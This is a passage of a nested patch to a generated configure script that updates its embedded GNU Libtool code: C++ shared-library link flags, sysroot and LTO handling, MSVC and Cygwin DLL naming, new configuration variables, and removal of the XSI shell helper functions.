- if test "$GXX" = yes && test "$with_gnu_ld" = no; then
- no_undefined_flag_CXX=' ${wl}-z ${wl}defs'
- if $CC --version | $GREP -v '^2\.7' > /dev/null; then
-- archive_cmds_CXX='$CC -shared -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
-+ archive_cmds_CXX='$CC -shared $pic_flag -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
- archive_expsym_cmds_CXX='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
-- $CC -shared -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp'
-+ $CC -shared $pic_flag -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$RM $lib.exp'
-
- # Commands to make compiler produce verbose output that lists
- # what "hidden" libraries, object files and flags are used when
-@@ -13729,6 +14468,13 @@ private:
- };
- _LT_EOF
-
-+
-+_lt_libdeps_save_CFLAGS=$CFLAGS
-+case "$CC $CFLAGS " in #(
-+*\ -flto*\ *) CFLAGS="$CFLAGS -fno-lto" ;;
-+*\ -fwhopr*\ *) CFLAGS="$CFLAGS -fno-whopr" ;;
-+esac
-+
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
-@@ -13742,7 +14488,7 @@ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- pre_test_object_deps_done=no
-
- for p in `eval "$output_verbose_link_cmd"`; do
-- case $p in
-+ case ${prev}${p} in
-
- -L* | -R* | -l*)
- # Some compilers place space between "-{L,R}" and the path.
-@@ -13751,13 +14497,22 @@ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- test $p = "-R"; then
- prev=$p
- continue
-- else
-- prev=
- fi
-
-+ # Expand the sysroot to ease extracting the directories later.
-+ if test -z "$prev"; then
-+ case $p in
-+ -L*) func_stripname_cnf '-L' '' "$p"; prev=-L; p=$func_stripname_result ;;
-+ -R*) func_stripname_cnf '-R' '' "$p"; prev=-R; p=$func_stripname_result ;;
-+ -l*) func_stripname_cnf '-l' '' "$p"; prev=-l; p=$func_stripname_result ;;
-+ esac
-+ fi
-+ case $p in
-+ =*) func_stripname_cnf '=' '' "$p"; p=$lt_sysroot$func_stripname_result ;;
-+ esac
- if test "$pre_test_object_deps_done" = no; then
-- case $p in
-- -L* | -R*)
-+ case ${prev} in
-+ -L | -R)
- # Internal compiler library paths should come after those
- # provided the user. The postdeps already come after the
- # user supplied libs so there is no need to process them.
-@@ -13777,8 +14532,10 @@ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- postdeps_CXX="${postdeps_CXX} ${prev}${p}"
- fi
- fi
-+ prev=
- ;;
-
-+ *.lto.$objext) ;; # Ignore GCC LTO objects
- *.$objext)
- # This assumes that the test object file only shows up
- # once in the compiler output.
-@@ -13814,6 +14571,7 @@ else
- fi
-
- $RM -f confest.$objext
-+CFLAGS=$_lt_libdeps_save_CFLAGS
-
- # PORTME: override above test on systems where it is broken
- case $host_os in
-@@ -13849,7 +14607,7 @@ linux*)
-
- solaris*)
- case $cc_basename in
-- CC*)
-+ CC* | sunCC*)
- # The more standards-conforming stlport4 library is
- # incompatible with the Cstd library. Avoid specifying
- # it if it's in CXXFLAGS. Ignore libCrun as
-@@ -13914,8 +14672,6 @@ fi
- lt_prog_compiler_pic_CXX=
- lt_prog_compiler_static_CXX=
-
--{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
--$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- # C++ specific cases for pic, static, wl, etc.
- if test "$GXX" = yes; then
-@@ -14020,6 +14776,11 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- ;;
- esac
- ;;
-+ mingw* | cygwin* | os2* | pw32* | cegcc*)
-+ # This hack is so that the source file can tell whether it is being
-+ # built for inclusion in a dll (and should export symbols for example).
-+ lt_prog_compiler_pic_CXX='-DDLL_EXPORT'
-+ ;;
- dgux*)
- case $cc_basename in
- ec++*)
-@@ -14172,7 +14933,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- ;;
- solaris*)
- case $cc_basename in
-- CC*)
-+ CC* | sunCC*)
- # Sun C++ 4.2, 5.x and Centerline C++
- lt_prog_compiler_pic_CXX='-KPIC'
- lt_prog_compiler_static_CXX='-Bstatic'
-@@ -14237,10 +14998,17 @@ case $host_os in
- lt_prog_compiler_pic_CXX="$lt_prog_compiler_pic_CXX -DPIC"
- ;;
- esac
--{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic_CXX" >&5
--$as_echo "$lt_prog_compiler_pic_CXX" >&6; }
--
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-+$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-+if ${lt_cv_prog_compiler_pic_CXX+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_prog_compiler_pic_CXX=$lt_prog_compiler_pic_CXX
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic_CXX" >&5
-+$as_echo "$lt_cv_prog_compiler_pic_CXX" >&6; }
-+lt_prog_compiler_pic_CXX=$lt_cv_prog_compiler_pic_CXX
-
- #
- # Check to make sure the PIC flag actually works.
-@@ -14298,6 +15066,8 @@ fi
-
-
-
-+
-+
- #
- # Check to make sure the static flag actually works.
- #
-@@ -14475,6 +15245,7 @@ fi
- $as_echo_n "checking whether the $compiler linker ($LD) supports shared libraries... " >&6; }
-
- export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
-+ exclude_expsyms_CXX='_GLOBAL_OFFSET_TABLE_|_GLOBAL__F[ID]_.*'
- case $host_os in
- aix[4-9]*)
- # If we're using GNU nm, then we don't want the "-C" option.
-@@ -14489,15 +15260,20 @@ $as_echo_n "checking whether the $compiler linker ($LD) supports shared librarie
- ;;
- pw32*)
- export_symbols_cmds_CXX="$ltdll_cmds"
-- ;;
-+ ;;
- cygwin* | mingw* | cegcc*)
-- export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;/^.*[ ]__nm__/s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
-- ;;
-+ case $cc_basename in
-+ cl*) ;;
-+ *)
-+ export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
-+ exclude_expsyms_CXX='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
-+ ;;
-+ esac
-+ ;;
- *)
- export_symbols_cmds_CXX='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
-- ;;
-+ ;;
- esac
-- exclude_expsyms_CXX='_GLOBAL_OFFSET_TABLE_|_GLOBAL__F[ID]_.*'
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ld_shlibs_CXX" >&5
- $as_echo "$ld_shlibs_CXX" >&6; }
-@@ -14760,8 +15536,9 @@ cygwin* | mingw* | pw32* | cegcc*)
- need_version=no
- need_lib_prefix=no
-
-- case $GCC,$host_os in
-- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
-+ case $GCC,$cc_basename in
-+ yes,*)
-+ # gcc
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
-@@ -14793,13 +15570,71 @@ cygwin* | mingw* | pw32* | cegcc*)
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
-+ dynamic_linker='Win32 ld.exe'
-+ ;;
-+
-+ *,cl*)
-+ # Native MSVC
-+ libname_spec='$name'
-+ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
-+ library_names_spec='${libname}.dll.lib'
-+
-+ case $build_os in
-+ mingw*)
-+ sys_lib_search_path_spec=
-+ lt_save_ifs=$IFS
-+ IFS=';'
-+ for lt_path in $LIB
-+ do
-+ IFS=$lt_save_ifs
-+ # Let DOS variable expansion print the short 8.3 style file name.
-+ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
-+ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
-+ done
-+ IFS=$lt_save_ifs
-+ # Convert to MSYS style.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
-+ ;;
-+ cygwin*)
-+ # Convert to unix form, then to dos form, then back to unix form
-+ # but this time dos style (no spaces!) so that the unix form looks
-+ # like /cygdrive/c/PROGRA~1:/cygdr...
-+ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
-+ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
-+ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ ;;
-+ *)
-+ sys_lib_search_path_spec="$LIB"
-+ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
-+ # It is most probably a Windows format PATH.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
-+ else
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ fi
-+ # FIXME: find the short name or the path components, as spaces are
-+ # common. (e.g. "Program Files" -> "PROGRA~1")
-+ ;;
-+ esac
-+
-+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
-+ postinstall_cmds='base_file=`basename \${file}`~
-+ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
-+ dldir=$destdir/`dirname \$dlpath`~
-+ test -d \$dldir || mkdir -p \$dldir~
-+ $install_prog $dir/$dlname \$dldir/$dlname'
-+ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
-+ dlpath=$dir/\$dldll~
-+ $RM \$dlpath'
-+ shlibpath_overrides_runpath=yes
-+ dynamic_linker='Win32 link.exe'
- ;;
-
- *)
-+ # Assume MSVC wrapper
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
-+ dynamic_linker='Win32 ld.exe'
- ;;
- esac
-- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-@@ -14890,7 +15725,7 @@ haiku*)
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LIBRARY_PATH
- shlibpath_overrides_runpath=yes
-- sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/beos/system/lib'
-+ sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/system/lib'
- hardcode_into_libs=yes
- ;;
-
-@@ -15349,6 +16184,7 @@ fi
- fi # test -n "$compiler"
-
- CC=$lt_save_CC
-+ CFLAGS=$lt_save_CFLAGS
- LDCXX=$LD
- LD=$lt_save_LD
- GCC=$lt_save_GCC
-@@ -18444,13 +19280,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
- lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
- lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
- lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
-+lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
-+lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
- reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
- reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
- OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
- deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
- file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
-+file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
-+want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
-+DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
-+sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
- AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
- AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
-+archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
- STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
- RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
- old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
-@@ -18465,14 +19308,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
- lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
- lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
- lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
-+nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
-+lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
- objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
- MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
--lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
-+lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
- lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
- need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
-+MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
- DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
- NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
- LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
-@@ -18505,12 +19351,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
- hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
- inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
- link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
--fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
- always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
- export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
- exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
- include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
- prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
-+postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
- file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
- variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
- need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
-@@ -18549,8 +19395,8 @@ old_archive_cmds_CXX='`$ECHO "$old_archive_cmds_CXX" | $SED "$delay_single_quote
- compiler_CXX='`$ECHO "$compiler_CXX" | $SED "$delay_single_quote_subst"`'
- GCC_CXX='`$ECHO "$GCC_CXX" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_no_builtin_flag_CXX='`$ECHO "$lt_prog_compiler_no_builtin_flag_CXX" | $SED "$delay_single_quote_subst"`'
--lt_prog_compiler_wl_CXX='`$ECHO "$lt_prog_compiler_wl_CXX" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_pic_CXX='`$ECHO "$lt_prog_compiler_pic_CXX" | $SED "$delay_single_quote_subst"`'
-+lt_prog_compiler_wl_CXX='`$ECHO "$lt_prog_compiler_wl_CXX" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_static_CXX='`$ECHO "$lt_prog_compiler_static_CXX" | $SED "$delay_single_quote_subst"`'
- lt_cv_prog_compiler_c_o_CXX='`$ECHO "$lt_cv_prog_compiler_c_o_CXX" | $SED "$delay_single_quote_subst"`'
- archive_cmds_need_lc_CXX='`$ECHO "$archive_cmds_need_lc_CXX" | $SED "$delay_single_quote_subst"`'
-@@ -18577,12 +19423,12 @@ hardcode_shlibpath_var_CXX='`$ECHO "$hardcode_shlibpath_var_CXX" | $SED "$delay_
- hardcode_automatic_CXX='`$ECHO "$hardcode_automatic_CXX" | $SED "$delay_single_quote_subst"`'
- inherit_rpath_CXX='`$ECHO "$inherit_rpath_CXX" | $SED "$delay_single_quote_subst"`'
- link_all_deplibs_CXX='`$ECHO "$link_all_deplibs_CXX" | $SED "$delay_single_quote_subst"`'
--fix_srcfile_path_CXX='`$ECHO "$fix_srcfile_path_CXX" | $SED "$delay_single_quote_subst"`'
- always_export_symbols_CXX='`$ECHO "$always_export_symbols_CXX" | $SED "$delay_single_quote_subst"`'
- export_symbols_cmds_CXX='`$ECHO "$export_symbols_cmds_CXX" | $SED "$delay_single_quote_subst"`'
- exclude_expsyms_CXX='`$ECHO "$exclude_expsyms_CXX" | $SED "$delay_single_quote_subst"`'
- include_expsyms_CXX='`$ECHO "$include_expsyms_CXX" | $SED "$delay_single_quote_subst"`'
- prelink_cmds_CXX='`$ECHO "$prelink_cmds_CXX" | $SED "$delay_single_quote_subst"`'
-+postlink_cmds_CXX='`$ECHO "$postlink_cmds_CXX" | $SED "$delay_single_quote_subst"`'
- file_list_spec_CXX='`$ECHO "$file_list_spec_CXX" | $SED "$delay_single_quote_subst"`'
- hardcode_action_CXX='`$ECHO "$hardcode_action_CXX" | $SED "$delay_single_quote_subst"`'
- compiler_lib_search_dirs_CXX='`$ECHO "$compiler_lib_search_dirs_CXX" | $SED "$delay_single_quote_subst"`'
-@@ -18620,8 +19466,13 @@ reload_flag \
- OBJDUMP \
- deplibs_check_method \
- file_magic_cmd \
-+file_magic_glob \
-+want_nocaseglob \
-+DLLTOOL \
-+sharedlib_from_linklib_cmd \
- AR \
- AR_FLAGS \
-+archiver_list_spec \
- STRIP \
- RANLIB \
- CC \
-@@ -18631,12 +19482,14 @@ lt_cv_sys_global_symbol_pipe \
- lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
-+nm_file_list_spec \
- lt_prog_compiler_no_builtin_flag \
--lt_prog_compiler_wl \
- lt_prog_compiler_pic \
-+lt_prog_compiler_wl \
- lt_prog_compiler_static \
- lt_cv_prog_compiler_c_o \
- need_locks \
-+MANIFEST_TOOL \
- DSYMUTIL \
- NMEDIT \
- LIPO \
-@@ -18652,7 +19505,6 @@ no_undefined_flag \
- hardcode_libdir_flag_spec \
- hardcode_libdir_flag_spec_ld \
- hardcode_libdir_separator \
--fix_srcfile_path \
- exclude_expsyms \
- include_expsyms \
- file_list_spec \
-@@ -18674,8 +19526,8 @@ LD_CXX \
- reload_flag_CXX \
- compiler_CXX \
- lt_prog_compiler_no_builtin_flag_CXX \
--lt_prog_compiler_wl_CXX \
- lt_prog_compiler_pic_CXX \
-+lt_prog_compiler_wl_CXX \
- lt_prog_compiler_static_CXX \
- lt_cv_prog_compiler_c_o_CXX \
- export_dynamic_flag_spec_CXX \
-@@ -18687,7 +19539,6 @@ no_undefined_flag_CXX \
- hardcode_libdir_flag_spec_CXX \
- hardcode_libdir_flag_spec_ld_CXX \
- hardcode_libdir_separator_CXX \
--fix_srcfile_path_CXX \
- exclude_expsyms_CXX \
- include_expsyms_CXX \
- file_list_spec_CXX \
-@@ -18721,6 +19572,7 @@ module_cmds \
- module_expsym_cmds \
- export_symbols_cmds \
- prelink_cmds \
-+postlink_cmds \
- postinstall_cmds \
- postuninstall_cmds \
- finish_cmds \
-@@ -18735,7 +19587,8 @@ archive_expsym_cmds_CXX \
- module_cmds_CXX \
- module_expsym_cmds_CXX \
- export_symbols_cmds_CXX \
--prelink_cmds_CXX; do
-+prelink_cmds_CXX \
-+postlink_cmds_CXX; do
- case \`eval \\\\\$ECHO \\\\""\\\\\$\$var"\\\\"\` in
- *[\\\\\\\`\\"\\\$]*)
- eval "lt_\$var=\\\\\\"\\\`\\\$ECHO \\"\\\$\$var\\" | \\\$SED -e \\"\\\$double_quote_subst\\" -e \\"\\\$sed_quote_subst\\" -e \\"\\\$delay_variable_subst\\"\\\`\\\\\\""
-@@ -19539,7 +20392,8 @@ $as_echo X"$file" |
- # NOTE: Changes made to this file will be lost: look at ltmain.sh.
- #
- # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
--# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
-+# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
-+# Inc.
- # Written by Gordon Matzigkeit, 1996
- #
- # This file is part of GNU Libtool.
-@@ -19642,19 +20496,42 @@ SP2NL=$lt_lt_SP2NL
- # turn newlines into spaces.
- NL2SP=$lt_lt_NL2SP
-
-+# convert \$build file names to \$host format.
-+to_host_file_cmd=$lt_cv_to_host_file_cmd
-+
-+# convert \$build files to toolchain format.
-+to_tool_file_cmd=$lt_cv_to_tool_file_cmd
-+
- # An object symbol dumper.
- OBJDUMP=$lt_OBJDUMP
-
- # Method to check whether dependent libraries are shared objects.
- deplibs_check_method=$lt_deplibs_check_method
-
--# Command to use when deplibs_check_method == "file_magic".
-+# Command to use when deplibs_check_method = "file_magic".
- file_magic_cmd=$lt_file_magic_cmd
-
-+# How to find potential files when deplibs_check_method = "file_magic".
-+file_magic_glob=$lt_file_magic_glob
-+
-+# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
-+want_nocaseglob=$lt_want_nocaseglob
-+
-+# DLL creation program.
-+DLLTOOL=$lt_DLLTOOL
-+
-+# Command to associate shared and link libraries.
-+sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
-+
- # The archiver.
- AR=$lt_AR
-+
-+# Flags to create an archive.
- AR_FLAGS=$lt_AR_FLAGS
-
-+# How to feed a file listing to the archiver.
-+archiver_list_spec=$lt_archiver_list_spec
-+
- # A symbol stripping program.
- STRIP=$lt_STRIP
-
-@@ -19684,6 +20561,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
- # Transform the output of nm in a C name address pair when lib prefix is needed.
- global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
-
-+# Specify filename containing input files for \$NM.
-+nm_file_list_spec=$lt_nm_file_list_spec
-+
-+# The root where to search for dependent libraries,and in which our libraries should be installed.
-+lt_sysroot=$lt_sysroot
-+
- # The name of the directory that contains temporary libtool files.
- objdir=$objdir
-
-@@ -19693,6 +20576,9 @@ MAGIC_CMD=$MAGIC_CMD
- # Must we lock files when doing compilation?
- need_locks=$lt_need_locks
-
-+# Manifest tool.
-+MANIFEST_TOOL=$lt_MANIFEST_TOOL
-+
- # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
- DSYMUTIL=$lt_DSYMUTIL
-
-@@ -19807,12 +20693,12 @@ with_gcc=$GCC
- # Compiler flag to turn off builtin functions.
- no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
-
--# How to pass a linker flag through the compiler.
--wl=$lt_lt_prog_compiler_wl
--
- # Additional compiler flags for building library objects.
- pic_flag=$lt_lt_prog_compiler_pic
-
-+# How to pass a linker flag through the compiler.
-+wl=$lt_lt_prog_compiler_wl
-+
- # Compiler flag to prevent dynamic linking.
- link_static_flag=$lt_lt_prog_compiler_static
-
-@@ -19899,9 +20785,6 @@ inherit_rpath=$inherit_rpath
- # Whether libtool must link a program against all its dependency libraries.
- link_all_deplibs=$link_all_deplibs
-
--# Fix the shell variable \$srcfile for the compiler.
--fix_srcfile_path=$lt_fix_srcfile_path
--
- # Set to "yes" if exported symbols are required.
- always_export_symbols=$always_export_symbols
-
-@@ -19917,6 +20800,9 @@ include_expsyms=$lt_include_expsyms
- # Commands necessary for linking programs (against libraries) with templates.
- prelink_cmds=$lt_prelink_cmds
-
-+# Commands necessary for finishing linking programs.
-+postlink_cmds=$lt_postlink_cmds
-+
- # Specify filename containing input files.
- file_list_spec=$lt_file_list_spec
-
-@@ -19963,210 +20849,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
- # if finds mixed CR/LF and LF-only lines. Since sed operates in
- # text mode, it properly converts lines to CR/LF. This bash problem
- # is reportedly fixed, but why not run on old versions too?
-- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
--
-- case $xsi_shell in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
--}
--
--# func_basename file
--func_basename ()
--{
-- func_basename_result="${1##*/}"
--}
--
--# func_dirname_and_basename file append nondir_replacement
--# perform func_basename and func_dirname in a single function
--# call:
--# dirname: Compute the dirname of FILE. If nonempty,
--# add APPEND to the result, otherwise set result
--# to NONDIR_REPLACEMENT.
--# value returned in "$func_dirname_result"
--# basename: Compute filename of FILE.
--# value retuned in "$func_basename_result"
--# Implementation must be kept synchronized with func_dirname
--# and func_basename. For efficiency, we do not delegate to
--# those functions but instead duplicate the functionality here.
--func_dirname_and_basename ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
-- func_basename_result="${1##*/}"
--}
--
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--func_stripname ()
--{
-- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
-- # positional parameters, so assign one to ordinary parameter first.
-- func_stripname_result=${3}
-- func_stripname_result=${func_stripname_result#"${1}"}
-- func_stripname_result=${func_stripname_result%"${2}"}
--}
--
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=${1%%=*}
-- func_opt_split_arg=${1#*=}
--}
--
--# func_lo2o object
--func_lo2o ()
--{
-- case ${1} in
-- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
-- *) func_lo2o_result=${1} ;;
-- esac
--}
--
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=${1%.*}.lo
--}
--
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=$(( $* ))
--}
--
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=${#1}
--}
--
--_LT_EOF
-- ;;
-- *) # Bourne compatible functions.
-- cat << \_LT_EOF >> "$cfgfile"
--
